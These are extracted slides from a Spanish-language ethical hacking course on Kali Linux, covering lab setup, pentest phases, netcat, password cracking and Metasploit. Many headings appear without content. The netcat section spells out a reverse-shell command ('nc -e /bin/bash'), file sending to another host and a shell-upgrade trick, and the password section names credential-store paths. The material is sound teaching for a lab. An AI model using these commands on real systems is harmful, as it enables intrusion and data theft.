Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Curso
c:\>WHOAMI
bit.ly/mroldan
Laboratorio 01
Conceptos básicos 02
Contenido 04 Discovery
06 Web hacking
Laboratorio
Preparando el ambiente
Curso Kali Linux
https://www.virtualbox.org/
Curso Kali Linux
1 Descargar 2 Importar
https://www.offensive-security.com/kali-linux-vm-vm
ware-virtualbox-image-download
Curso Kali Linux
https://sourceforge.net/projects/metasploitable/files/
Metasploitable2/
Introducción
Conceptos básicos
Kali Linux
Hacker
Persona con conocimientos prácticos que modifican los
usos de las cosas de modo que éstas puedan emplearse Tipos de hacker
para fines no previstos en su origen. No necesariamente
es un cibercriminal
Hacker ético
Persona que, debido a sus normas morales, usa sus Hacktivistas
conocimientos en informática para mejorar un sistema, Ciber-Soldados
descubriendo y reportando sus vulnerabilidades.
Kali Linux
Network pentest
Se basa en atacar la red y los componentes que la conforman (servidores, switches, routers,
firewalls)
Application pentest
Consiste en atacar una aplicación, esta puede ser: web, móvil o API
Ingeniería Social
Se basa en engañar personas para que revelen información sensible.
Kali Linux
Responder:
Fases de un pentest
NIST SP 800-115
(National Institute of Standards and Technology)
Kali Linux
Fases de un pentest
Planificación
Es una distribución Linux orientada a las pruebas de intrusión y auditorias de seguridad. Está basada en Debian y
nació en 2012 como sucesora de BackTrack Linux. Esta creada y mantenida por Offensive Security Ltd.
Ofrece más de 300 herramientas orientadas a ayudarnos a realizar actividades de Ethical Hacking clasificadas de la
siguiente forma:
Comandos básicos
man (manual)
man [comando]
Se utiliza para acceder a la documentación disponible de un programa - man apt
Comandos básicos
Reconocimiento
Uso de scripts
Podremos encontrar una lista detallada de todas las posibilidades con los scripts en el
siguiente enlace:
● https://nmap.org/book/nse-usage.html
Fase de escaneo - puertos
Enumeración
SMTP
El Simple Mail Transfer Protocol (SMTP) es un protocolo de red
utilizado para el intercambio de mensajes de correo electrónico
entre computadoras Tools kali
Enum4linux
Es una herramienta utilizada para extraer información via protocol smb. Está escrita en Perl y engloba
las funcionalidades de smbclient, rpclient, net y nslookup.
Fase de explotación
Locales Remotos
Requieren la intervención del usuario del lado del cliente y son por lo
general asincrónicos
Payload
Es la parte del malware que realiza la acción maliciosa después de haber realizado una explotación
exitosa. Es lo que el exploit inyecta para que se ejecute en la máquina atacada.
Por ejemplo: ejecutar instrucciones para crear un usuario en el sistema remoto, lanzar una shell
disponible es un determinado puerto o lograr una conexión de control remoto por VNC en el sistema
vulnerado.
Conexiones
Cuando se ejecuta un payload es muy común que éste se encargue de facilitarnos una conexión con la
víctima.
Kali Linux - comandos basicos
Netcat
Es una herramienta de red que con una sintaxis sencilla abrir puertos TCP/UDP en un HOST o forzar
conexiones UDP/TCP
-l: Indica que Netcat abre el puerto para Escucha (Listen): Abrir puerto 4444
nc -lvp 4444
-p: Especifica el puerto
Enviar archivo test.txt hacia otro host
nc -vv 192.168.129.1 4444 < test.txt
-k: Fuerza a que el puerto permanezca abierto tras haber
recibido una Conexión. Enviar salida de shell hacia otro host
nc -e /bin/bash 10.0.2.15 4444
-v: Muestra información de la conexión.
Tip: python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
-t: Las respuestas son compatibles para sesiones de Telnet. stty raw -echo
fg
reset
export SHELL=bash
Kali Linux - comandos basicos
Searchsploit
Conjunto de técnicas que son usadas para recuperar passwords y obtener acceso no autorizado.
Ingeniería Social
Hombre en el
Ataques pasivos online medio MITM
Kali linux
Crunch Cewl
# crunch 6 8 1234567890 -o cewl <url> -d <depth> -w <ruta>
/home/kali/curso/diccs/numericwordlist.lst
# crunch 5 7 hack@12 -z gzip -o START
# crunch 6 6 -t geek%% -d 2% -o /root/Escritorio/6.txt
https://github.com/danielmiessler/SecLists/tree/master/Passwords
Diccionarios descargables
Kali - Linux
Ataques pasivos
Ambiente Windows
En sistemas operativos Windows las contraseñas Se almacenan en formato hash mediante los
protocolos LM, NTLMv1 o NTLMv2 en una ubicación protegida de escritura.
c:\Windows\System32\config
SAM = Security Account Manager
%SystemRoot%\ntds\NTDS.DIT
NTDS.DIT = New Technologies Directory Services . Directory Information Tree
Kali Linux
Ataques pasivos
Ambiente Linux
Las contraseñas de los usuarios se guardan en formato hash usando por lo general crypt o MD5
en:
Estructura de /etc/shadow
JhonTheRipper
Es un programa de criptografía que aplica fuerza bruta para descifrar contraseñas. Es capaz de romper
varios algoritmos de cifrado o hash, como DES, SHA-1 y otros.
Metasploit
Proyecto Metasploit
Módulos de Metasploit
Los módulos implementan las funcionalidades del framework y entre ellos podemos encontrar:
Comandos de Metasploit
Antes de iniciar:
Metasploit ofrece la posibilidad de usar una base de datos para guardar el trabajo realizado.
Para ello debemos tener instalado PostgreSQL y realizar lo siguiente:
Comandos de Metasploit
Comandos Base
help: Muestra los comandos disponibles. También podemos especificar el comando seguido
de -h, o poner help seguido del comando.
search: comando de búsqueda, podemos acotar las búsquedas con palabras clave.
search cve:2018
use: se usa para activar un módulo en particular y cambia el contexto de msfconsole a ese
módulo en particular. Podemos usar back para ir de vuelta a la msfconsole en el contexto
general.
Kali Linux
Comandos de Metasploit
show options: muestra los parámetros disponibles para el exploit que está en uso.
show advanced: muestra los parámetros disponibles para el exploit que está en uso.
show targets: muestra una lista de sistemas operativos que son vulnerables al exploit
seleccionado
show encoders: devuelve los codificadores compatibles. Los codificadores se utilizan para
evadir firmas IDS / IPS
Kali Linux
Comandos de Metasploit
Comandos base
set: sirve para configurar parámetros de un módulo en concreto. Unset, sirve para borrar la
configuración.
setg: nos permite configurar parámetros a nivel global. Unsetg, borra una configuración a nivel
global
save: permite almacenar de forma permanente las variables globales establecidas con el
comando setg y las variables específicas de cada exploit en uso
exploit: es el comando para lanzar el ataque, si se usa con la opción en -j deja la ejecución en
segundo plano.
Kali Linux
Comandos de Metasploit
Comandos base
sessions: nos muestra las sesiones que tenemos con otros equipos que se han generado por
un módulo o exploit.
irb: Permite ejecutar el intérprete de Ruby para metasploit, de este modo se pueden ingresar
comandos y crear scripts al vuelo.
load: Permite cargar un plugin desde el directorio de plugins. unload: Descarga un plugin
cargado
connect: Al igual que realizamos una conexión por medio de telnet o netcat, este comando nos
permite conectarnos a un host remoto
Kali Linux
Comandos de Metasploit
db_connect: sirve para conectarse a una base de datos remota. La sintaxis es:
db_connect <user:[pass]>@<host:[port]>/<database>
db_connect usuario1:admin123@192.168.0.2/metasploit2
db_export: nos permite exportar los datos guardados en nuestra base de datos
Comandos de Metasploit
Comandos base
history: muestra una lista enumerada todos los comandos que hemos digitado en Metasploit
Paso 1
Ingrese al equipo Metasploitable 2 (msfadmin / msfadmin) y realice lo siguiente:
Paso 2
Ingrese al equipo Kali (kali/kali) abra una terminal y realice lo siguiente:
Ejercicios prácticos
Ejercicio 1. Iniciando Metasploit
Ejercicios prácticos
Ejercicios prácticos
Ejercicios prácticos
Ejercicios prácticos
Ejercicios prácticos
Ejercicios prácticos
Ejercicios prácticos
Ejercicio 9. Meterpreter
Ejercicios prácticos
Ejercicio 9. Meterpreter